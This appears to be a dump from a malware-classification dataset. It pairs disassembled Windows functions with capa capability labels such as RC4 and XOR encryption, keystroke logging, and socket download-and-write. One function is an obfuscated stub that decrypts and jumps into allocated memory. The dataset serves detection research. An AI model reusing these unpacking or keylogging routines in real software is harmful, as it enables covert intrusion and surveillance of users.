joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4edc60
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x541773
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
call fcn.0052a315
lea ecx, [esp + 0xc]
mov dword [esi + 0x34], eax
call fcn.0052a1b2
mov edi, dword [0x15b8564]
lea ecx, [esp + 8]
call fcn.0052a1b2
mov eax, dword [edi + 4]
cmp eax, 0xffffffff
jae 0x4edcac
inc eax
mov dword [edi + 4], eax
lea ecx, [esp + 8]
call fcn.0052a24e
lea ecx, [esp + 0xc]
call fcn.0052a24e
lea eax, [esi + 4]
lea ecx, [esi + 0x14]
lea edx, [esi + 0x18]
mov dword [esi + 0xc], eax
mov dword [esi + 0x1c], ecx
mov dword [esi + 0x20], edx
lea eax, [esi + 8]
lea ecx, [esi + 0x24]
lea edx, [esi + 0x28]
xor edi, edi
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
mov dword [esi + 0x10], eax
mov dword [esi + 0x2c], ecx
mov dword [esi + 0x30], edx
mov dword [eax], edi
mov eax, dword [esi + 0x20]
push edi
push edi
mov dword [eax], edi
mov ecx, dword [esi + 0x30]
push edi
mov dword [esp + 0x28], edi
mov dword [ecx], edi
mov ecx, esi
call fcn.004edd70
mov cl, byte [esp + 0x24]
xor eax, eax
test cl, 1
mov dword [esi], 0x1457498
jne 0x4edd1a
mov eax, 4
test cl, 2
jne 0x4edd21
or al, 2
mov edx, dword [esi + 0xc]
mov dword [esi + 0x38], edi
mov dword [esi + 0x3c], edi
mov dword [esi + 0x40], 0x20
mov dword [esi + 0x44], eax
mov dword [edx], edi
mov eax, dword [esi + 0x1c]
mov dword [eax], edi
mov ecx, dword [esi + 0x2c]
mov dword [ecx], edi
mov edx, dword [esi + 0x10]
mov dword [edx], edi
mov eax, dword [esi + 0x20]
mov dword [eax], edi
mov ecx, dword [esi + 0x30]
mov eax, esi
mov dword [ecx], edi
mov ecx, dword [esp + 0x14]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x18
ret 4
Function at 0x4f75a0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x15a62e4]
xor edx, edx
cmp eax, edx
jne 0x4f75c6
xor eax, eax
mov byte [eax + 0x15a61e4], al
inc eax
cmp eax, 0x100
jl 0x4f75ae
mov dword [0x15a62e4], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x15a61e4
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4f7657
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4f762a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4f75f8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4f7660
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4f76b3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4f769a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4fe050
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x541afe
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.004fe970
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x14583fc
call fcn.0052f8c6
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x4fe0e3
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.0052f8c6
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x4fe0dc
push 0
mov ecx, eax
call fcn.004f51e0
mov dword [esi + 0xc], eax
jmp 0x4fe0e5
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x4fe0e5
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8
Function at 0x531f77
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x531faf
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0052ffe0
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0052ffb8
jmp 0x531fbb
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x533668
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x5336aa
call fcn.005399db
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x5336aa
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x5336a1
xor eax, eax
jmp 0x5336b2
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.005336b8
pop edi
pop esi
pop ebx
ret 4
Function at 0x100010c0
Capabilities:
Get memory capacity
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0xb0
mov eax, 0x476461
mov dword [esp + 0x64], eax
mov eax, esp
lea ecx, [esp + 0x64]
mov dword [eax + 0xc], ecx
mov dword [eax + 0x18], 0x57c
mov dword [eax + 0x14], 0x7f7
mov dword [eax + 0x10], 0xc2
mov dword [eax + 8], 0x476461
mov dword [eax + 4], 0x476461
mov dword [eax], 0xac5855
mov eax, dword [sym.imp.KERNEL32.dll_DuplicateHandle]
call eax
sub esp, 0x1c
xor ecx, ecx
lea edx, [esp + 0x68]
mov dword [esp + 0x60], eax
mov dword [esp + 0x5c], edx
mov dword [esp + 0x58], ecx
jmp 0x100011df
mov eax, esp
mov dword [eax], 0xfeb
mov eax, dword [sym.imp.USER32.dll_SetCaretBlinkTime]
call eax
sub esp, 4
mov ecx, dword [esp + 0x54]
sub ecx, 0xe
mov dword [esp + 0x50], eax
mov dword [esp + 0x4c], ecx
je 0x10001179
jmp 0x1000114e
mov eax, dword [esp + 0x54]
sub eax, 0x53
mov dword [esp + 0x48], eax
je 0x100011a2
jmp 0x1000129e
mov eax, dword [esp + 0x44]
add eax, 1
cmp eax, 0x1fb
mov dword [esp + 0x40], eax
je 0x10001129
jmp 0x1000126a
mov eax, esp
mov dword [eax + 8], 0xb73992
mov dword [eax + 4], 0xf8deca
mov dword [eax], 0xcb4042
mov eax, dword [sym.imp.GDI32.dll_FillRgn]
call eax
sub esp, 0xc
mov dword [esp + 0x3c], eax
jmp 0x1000129e
mov eax, esp
mov dword [eax + 8], 0x3cf
mov dword [eax + 4], 0xbec
mov dword [eax], 0x79e
mov eax, dword [sym.imp.USER32.dll_AttachThreadInput]
call eax
sub esp, 0xc
mov ecx, esp
mov dword [ecx], 0xf60db6
mov ecx, dword [sym.imp.GDI32.dll_CreateHalftonePalette]
mov dword [esp + 0x38], eax
call ecx
sub esp, 4
mov dword [esp + 0x34], eax
jmp 0x10001179
mov eax, dword [esp + 0x58]
xor ecx, ecx
mov edx, 0x40
mov esi, dword [esp + 0x5c]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x40
mov dword [esp + 0x54], eax
mov dword [esp + 0x30], ecx
mov dword [esp + 0x2c], edx
call fcn.10005550
mov eax, esp
lea ecx, [esp + 0x68]
mov dword [eax], ecx
mov eax, dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call eax
sub esp, 4
mov ecx, esp
mov dword [ecx + 4], 0x804
mov dword [ecx], 0xe24f5b
mov ecx, dword [sym.imp.USER32.dll_UnregisterHotKey]
mov dword [esp + 0x28], eax
call ecx
sub esp, 8
mov ecx, esp
mov dword [ecx + 4], 0x277
mov dword [ecx], 0x7c7fbf
mov ecx, dword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov dword [esp + 0x24], eax
call ecx
sub esp, 8
xor ecx, ecx
mov dword [esp + 0x20], eax
mov dword [esp + 0x40], ecx
mov eax, dword [esp + 0x40]
mov ecx, 0xe
mov dword [esp + 0x44], eax
xor edx, edx
div ecx
cmp edx, 4
jne 0x10001160
mov eax, esp
mov dword [eax], 0x627ff5
mov eax, dword [sym.imp.KERNEL32.dll_ReleaseActCtx]
call eax
sub esp, 4
jmp 0x10001160
mov eax, dword [esp + 0x54]
add eax, 1
cmp eax, 0x38
mov dword [esp + 0x58], eax
jne 0x100011df
lea esp, [ebp - 4]
pop esi
pop ebp
ret

Function at 0x1000595c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10042690]
jne 0x10005966
repz ret
jmp fcn.10005c0d
Function at 0x100060e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [fcn.100060e0]
mov dword [ebp - 4], eax
jmp 0x100060f1
mov eax, dword [ebp - 4]
cmp word [eax], 0x5a4d
mov dword [ebp - 8], eax
jne 0x10006115
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
jne 0x10006115
mov eax, dword [ebp - 8]
add esp, 8
pop ebp
ret
mov eax, dword [ebp - 8]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [ebp - 4], eax
jmp 0x100060f1

Function at 0x100062f0
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov eax, dword [0x1004266c]
add eax, 0xfffffbbe
mov dword [0x10042670], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x10006375
mov eax, 1
mov dword [0x10042670], 0x6cd
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add esp, 0x20
pop ebp
ret
mov eax, dword [ebp - 0x18]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x10], eax
jl 0x10006375
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov edx, dword [ebp - 0xc]
cmp word [edx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x14], ecx
je 0x1000638d
jmp 0x1000633d
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
je 0x1000635c
jmp 0x10006345
xor eax, eax
mov dword [0x10042670], 0x88c
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x20]
cmp word [ecx + edx*2 - 0x18], 0x6f
mov dword [ebp - 0x14], eax
jne 0x1000633d
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x20]
cmp word [ecx + edx*2 - 0x16], 0x61
mov dword [ebp - 0x14], eax
jne 0x1000633d
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x20]
cmp word [ecx + edx*2 - 0x14], 0x64
mov dword [ebp - 0x14], eax
jne 0x1000633d
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x20]
cmp word [ecx + edx*2 - 0x12], 0x64
mov dword [ebp - 0x14], eax
jne 0x1000633d
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x20]
cmp word [ecx + edx*2 - 0x10], 0x6c
mov dword [ebp - 0x14], eax
jne 0x1000633d
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x20]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x14], eax
je 0x1000632b
jmp 0x1000633d
Function at 0x10006430
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x10042678], 0
mov byte [0x1004267c], 0
mov dword [0x1004266c], 0x1e52
mov dword [0x10042674], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x10042674]
add eax, 1
mov dword [0x10042674], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x10006475
jmp 0x1000654f
mov eax, 0x100
mov dword [0x10042680], 0
mov ecx, dword [0x10042678]
mov edx, dword [0x10042674]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + edx]
add edi, ecx
mov dword [ebp - 0x20], eax
mov eax, edx
xor edx, edx
mov ecx, dword [ebp - 0x10]
div ecx
mov ebx, dword [ebp - 0x14]
movzx edx, byte [ebx + edx]
add edi, edx
mov dword [0x10042680], edi
mov eax, edi
cdq
mov edi, dword [ebp - 0x20]
idiv edi
mov dword [0x10042678], edx
mov edx, dword [0x10042674]
mov cl, byte [esi + edx]
mov byte [0x1004267c], cl
mov edx, dword [0x10042670]
add edx, 0xffffdce6
mov dword [0x10042670], edx
mov edx, dword [0x10042678]
mov cl, byte [esi + edx]
mov edx, dword [0x10042674]
mov byte [esi + edx], cl
mov cl, byte [0x1004267c]
mov edx, dword [0x10042678]
mov byte [esi + edx], cl
mov edx, dword [0x10042674]
add edx, 1
mov dword [0x10042674], edx
cmp edx, 0x100
jl 0x100064a0
jmp 0x1000655e
mov dword [0x10042674], 0
jmp 0x100064a0
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100069d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x70
mov eax, dword [ebp + 8]
xor ecx, ecx
mov edx, dword [0x1004266c]
add edx, 0xfffffef4
mov dword [0x10042670], edx
mov edx, ecx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
lea edx, section..data
mov esi, ecx
add esi, 1
imul edi, ecx, 0x12c
mov ebx, edx
add ebx, edi
add ebx, 0x98
imul ecx, ecx, 0x12c
add edx, ecx
add edx, 0xc4
mov ecx, dword [edx]
movzx edx, word [ebx]
xor edx, ecx
add edx, eax
cmp esi, 0x302
mov eax, edx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x38], eax
jne 0x100069fb
lea eax, [0x10009895]
mov ecx, 0xe
lea edx, [ebp - 0x2c]
mov dword [0x1004266c], 0xd88
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xe
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x44], ecx
call fcn.10006750
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call fcn.10006ee0
mov ecx, eax
mov dword [0x1004268c], eax
mov eax, esp
mov edx, dword [ebp - 0x3c]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov dword [0x1004266c], 0xa58
mov edx, ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
lea edx, section..data
imul esi, eax, 0x12c
mov edi, edx
add edi, esi
add edi, 0xc4
mov esi, eax
add esi, 1
imul ebx, eax, 0x12c
mov dword [ebp - 0x54], eax
mov eax, edx
add eax, ebx
add eax, 0x98
mov ebx, dword [ebp - 0x48]
add ebx, ecx
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x54]
imul eax, eax, 0x12c
add edx, eax
mov eax, dword [edi]
mov edx, dword [edx]
mov edi, dword [ebp - 0x58]
movzx edi, word [edi]
xor edi, eax
mov dword [esp], ebx
mov dword [esp + 4], edx
mov dword [esp + 8], edi
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x64], edi
call fcn.10006d90
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x60]
add eax, ecx
mov edx, dword [ebp - 0x5c]
cmp edx, 0x302
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x4c], eax
jne 0x10006ac5
mov dword [0x1004266c], 0x18f7
mov eax, dword [ebp - 0x48]
add eax, 0xdcbd2
mov ecx, dword [ebp - 0x48]
add ecx, 0x24496
mov edx, dword [ebp - 0x48]
mov dword [esp], edx
mov dword [esp + 4], edx
mov esi, dword [ebp - 0x3c]
mov dword [esp + 8], esi
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x6c], ecx
call fcn.10006570
xor eax, eax
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x68]
mov dword [ecx], edx
mov dword [ecx + 4], 0x148a00
mov edx, dword [ebp - 0x6c]
mov dword [ecx + 8], edx
mov dword [0x10042670], 0xd15
mov dword [ecx + 0xc], 0x20c0
add esp, 0x70
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10006f10
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov ebx, dword [0x10042670]
add ebx, 0xffffde65
mov dword [0x1004266c], ebx
mov dword [0x10042674], 0
mov dword [0x10042678], 0
mov dword [0x10042684], 0
cmp eax, 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], edi
je 0x10007055
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov edx, dword [0x10042674]
mov esi, eax
add esi, 1
add edx, 1
mov dword [ebp - 0x24], eax
mov eax, edx
cdq
idiv ecx
mov dword [0x10042674], edx
mov dword [0x1004266c], 0x2640
mov edi, dword [0x10042678]
mov ebx, dword [ebp - 0x1c]
movzx edx, byte [ebx + edx]
add edx, edi
mov eax, edx
cdq
idiv ecx
mov dword [0x10042678], edx
mov ecx, dword [0x10042674]
mov bl, byte [ebx + ecx]
mov byte [0x1004267c], bl
mov edi, dword [ebp - 0x1c]
mov bl, byte [edi + edx]
mov byte [edi + ecx], bl
mov bl, byte [0x1004267c]
mov ecx, dword [0x10042678]
mov byte [edi + ecx], bl
mov dword [0x1004266c], 0x26e6
mov ecx, dword [0x10042674]
movzx ecx, byte [edi + ecx]
mov edx, dword [0x10042678]
movzx edx, byte [edi + edx]
add edx, ecx
and edx, 0xff
mov dword [0x10042684], edx
mov dword [0x10042670], 0x1a2e
mov bl, byte [edi + edx]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
movzx ecx, byte [ecx + edx]
mov dword [esp], ecx
movzx ecx, bl
mov dword [esp + 4], ecx
mov dword [ebp - 0x28], esi
call fcn.10001000
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x24]
mov byte [ecx + edx], al
mov esi, dword [ebp - 0x28]
mov edi, dword [ebp - 0x10]
cmp esi, edi
mov dword [ebp - 0x20], esi
jne 0x10006f71
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10073ff
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x28
push 0x1001760
call fcn.010076ac
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp word [eax], 0x5a4d
jne 0x100743a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100743a
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x1007452
cmp eax, 0x20b
je 0x100743f
mov dword [ebp - 0x1c], edi
jmp 0x1007466
cmp dword [ecx + 0x84], 0xe
jbe 0x100743a
xor eax, eax
cmp dword [ecx + 0xf8], edi
jmp 0x1007460
cmp dword [ecx + 0x74], 0xe
jbe 0x100743a
xor eax, eax
cmp dword [ecx + 0xe8], edi
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], edi
push 1
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x100e0ac], 0xffffffff
or dword [0x100e0b0], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x100e090]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x100e08c]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x100e0b4], eax
call fcn.010076a2
cmp dword [0x100e070], edi
jne 0x10074c1
push fcn.010076a2
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.0100768b
push 0x100e010
push 0x100e00c
call sub.msvcrt.dll__initterm
mov eax, dword [0x100e088]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [0x100e084]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.msvcrt.dll___wgetmainargs]
mov dword [ebp - 0x34], eax
push 0x100e008
push section..data
call sub.msvcrt.dll__initterm
mov eax, dword [ebp - 0x20]
mov ecx, dword [sym.imp.msvcrt.dll___winitenv]
mov dword [ecx], eax
push dword [ebp - 0x20]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
call fcn.0100596c
add esp, 0x30
mov esi, eax
mov dword [ebp - 0x38], esi
cmp dword [ebp - 0x1c], edi
jne 0x1007538
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x100756d
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.010076e7
ret
Function at 0x403f90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x403f9f
pop dword [ebp - 0x3c]
mov eax, 0x403c771f
add eax, 0xc003c880
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x8633d68a
sub dword [ebp - 0x4c], 0x37e1913f
mov dword [ebp - 0x48], 0x26060ce4
sub dword [ebp - 0x48], 0xf3d2c09f
mov dword [ebp - 0x44], 0x8c3bee47
add dword [ebp - 0x44], 0xc01055e7
mov dword [ebp - 0x40], 0x33c828e
sub dword [ebp - 0x40], 0x33c828e
lea eax, [ebp - 0x4c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x50984daa
add dword [ebp - 0x4c], 0x23da1bac
mov dword [ebp - 0x48], 0xbd5388ff
sub dword [ebp - 0x48], 0x7be7278a
mov dword [ebp - 0x44], 0xb58de78a
add dword [ebp - 0x44], 0xade184e2
mov dword [ebp - 0x40], 0x5ed713ba
sub dword [ebp - 0x40], 0x5ed713ba
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x92d73be4
add eax, 0x6d6a0458
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x3be02
push 0
call eax
mov ecx, 0x9561ea3
sub ecx, 0x955d257
mov ebx, eax
mov esi, 0xb992e280
sub esi, 0xb9512280
add esi, dword [ebp - 0x3c]
mov edx, 0x97ff117c
sub edx, 0x1d1886de
mov edi, dword [esi]
xor dword [ebp - 0x14], 0x5901c031
xor edi, edx
add dword [ebp - 0x38], esi
mov dword [ebx], edi
sub dword [ebp - 0x14], 0xbce5a624
add ebx, 0xc2187e03
sub ebx, 0xc2187dff
add esi, 4
loop 0x4040bc
add eax, 0x12403
xor ebx, ebx
add ebx, eax
add eax, 0xa43eab4e
add eax, 0x5bc154b7
mov ecx, 0xe494b047
add ecx, 0x1bab4fb9
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x401460
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x40fa24]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
lea edx, [ebp - 0x19]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._recv_16
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x4014c1
call sym._WSAGetLastError_0
mov dword [esp + 8], eax
mov dword [esp + 4], str.____Unable_to_receive._Error_code:__d_n
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._fprintf
mov eax, 0
jmp 0x4015c8
cmp dword [ebp - 0x10], 0
jne 0x4014f9
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x16
mov dword [esp + 4], 1
mov dword [esp], str.____Connection_closed_n
call sym._fwrite
mov eax, 0
jmp 0x4015c8
lea edx, [ebp - 0x19]
mov eax, dword [ebp - 0x10]
add eax, edx
mov byte [eax], 0
lea eax, [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x40c0a2
lea eax, [ebp - 0x19]
mov dword [esp], eax
call sym._sscanf
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401564
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1d
mov dword [esp + 4], 1
mov dword [esp], str.____Couldnt_allocate_memory_n
call sym._fwrite
mov eax, 0
jmp 0x4015c8
mov eax, dword [ebp - 0x14]
lea edx, [eax + 1]
mov eax, dword [0x40fa24]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov edx, dword [ebp - 0xc]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._recv_16
sub esp, 0x10
cmp eax, 0xffffffff
jne 0x4015c5
call sym._WSAGetLastError_0
mov dword [esp + 8], eax
mov dword [esp + 4], str.____Unable_to_receive._Error_code:__d_n
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._fprintf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
leave
ret